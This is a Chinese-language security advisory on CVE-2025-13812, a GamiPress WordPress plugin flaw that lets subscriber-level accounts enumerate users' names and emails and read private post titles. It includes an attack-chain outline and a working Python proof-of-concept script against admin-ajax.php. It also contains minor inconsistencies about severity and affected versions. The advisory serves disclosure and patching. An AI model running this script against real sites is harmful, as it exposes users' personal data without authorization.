IPBUF安全漏洞报告
English
CVE-2025-13812 CVSS 4.3 中危

CVE-2025-13812 | GamiPress WordPress插件未授权敏感信息泄露漏洞

披露日期: 2026-01-06

漏洞信息

漏洞编号
CVE-2025-13812
漏洞类型
访问控制绕过/敏感信息泄露
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
GamiPress – Gamification plugin for WordPress

相关标签

CVE-2025-13812GamiPressWordPress插件访问控制绕过敏感信息泄露用户枚举权限检查缺失Ajax安全WordPress安全中危漏洞

漏洞概述

CVE-2025-13812是GamiPress WordPress插件中的一个高危安全漏洞。该插件是WordPress平台上流行的游戏化组件,用于奖励积分、成就、徽章和等级排名。漏洞根源在于gamipress_ajax_get_posts和gamipress_ajax_get_users两个Ajax函数缺少权限检查机制。攻击者只需拥有WordPress最低权限(Subscriber级别)即可利用此漏洞,在未经授权的情况下枚举网站用户信息,包括用户名、邮箱地址等敏感数据,同时还能获取私有帖子的标题内容。此漏洞影响所有版本至7.6.1版本,CVSS评分4.3,属于中等严重程度。由于该漏洞可被低权限用户利用,且无需任何用户交互即可发起攻击,对使用该插件的WordPress网站构成实质性安全风险。攻击者可通过收集的用户信息进行进一步社会工程攻击,或利用私有帖子标题信息进行更深层次的情报收集。

技术细节

该漏洞属于WordPress插件常见的权限检查缺失问题。GamiPress插件在实现gamipress_ajax_get_posts和gamipress_ajax_get_users两个Ajax接口时,使用了admin-ajax.php处理请求,但未对这些Ajax端点实施适当的 capability check(权限检查)。在WordPress权限体系中,Subscriber角色仅具有最基本的访问权限,正常情况下无法访问用户列表或私有内容。然而,由于这两个函数直接响应Ajax请求且未验证current_user_can(),任何已认证用户(包括Subscriber角色)都可以通过构造特定的POST请求来调用这些函数。攻击者可通过遍历用户ID参数获取用户信息,通过调整查询参数访问本应受保护的私有帖子标题。这种设计缺陷使得原本应该受保护的API变成了信息泄露的通道。攻击者利用此漏洞可获取大量敏感信息,为后续攻击提供情报支持。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress网站的低权限账户(如Subscriber角色)
STEP 2
步骤2
攻击者构造针对admin-ajax.php的POST请求,指定action为gamipress_ajax_get_users
STEP 3
步骤3
通过遍历user_id参数,枚举获取用户名和邮箱地址等敏感信息
STEP 4
步骤4
攻击者修改action为gamipress_ajax_get_posts,构造请求获取私有帖子标题
STEP 5
步骤5
收集的信息可用于社会工程攻击、密码爆破或进一步入侵
STEP 6
步骤6
利用泄露的用户信息实施更大规模的针对性攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-13812 PoC - GamiPress Unauthorized User/Post Enumeration # Target: WordPress site with GamiPress plugin <= 7.6.1 TARGET_URL = "https://vulnerable-site.com" COOKIES = {"wordpress_test_cookie": "WP+Cookie+check", "wordpress_logged_in_XXX": "user_session_token"} def enumerate_users(): """Enumerate WordPress users via gamipress_ajax_get_users""" print("[*] Enumerating users via gamipress_ajax_get_users...") endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" for user_id in range(1, 50): data = { "action": "gamipress_ajax_get_users", "user_id": user_id } try: response = requests.post(endpoint, data=data, cookies=COOKIES, timeout=10) if response.status_code == 200 and response.text.strip(): print(f"[+] User ID {user_id}: {response.text}") except: pass def enumerate_posts(): """Retrieve private post titles via gamipress_ajax_get_posts""" print("[*] Enumerating private posts via gamipress_ajax_get_posts...") endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" data = { "action": "gamipress_ajax_get_posts", "post_type": "any", "post_status": "private" } try: response = requests.post(endpoint, data=data, cookies=COOKIES, timeout=10) if response.status_code == 200: print(f"[+] Private Posts Response: {response.text[:500]}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("[*] CVE-2025-13812 PoC - GamiPress < 7.6.1") enumerate_users() enumerate_posts() print("[*] Scan complete")

影响范围

GamiPress plugin < 7.6.1 (所有版本至7.6.1均受影响)

防御指南

临时缓解措施
立即升级GamiPress插件至7.6.2或更高版本。在无法立即升级的情况下,可通过在主题的functions.php中添加临时过滤代码,限制gamipress_ajax_get_users和gamipress_ajax_get_posts的访问权限仅对管理员开放。同时建议审查现有用户账户,禁用不必要的Subscriber账户,并启用双因素认证增强管理员账户安全。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表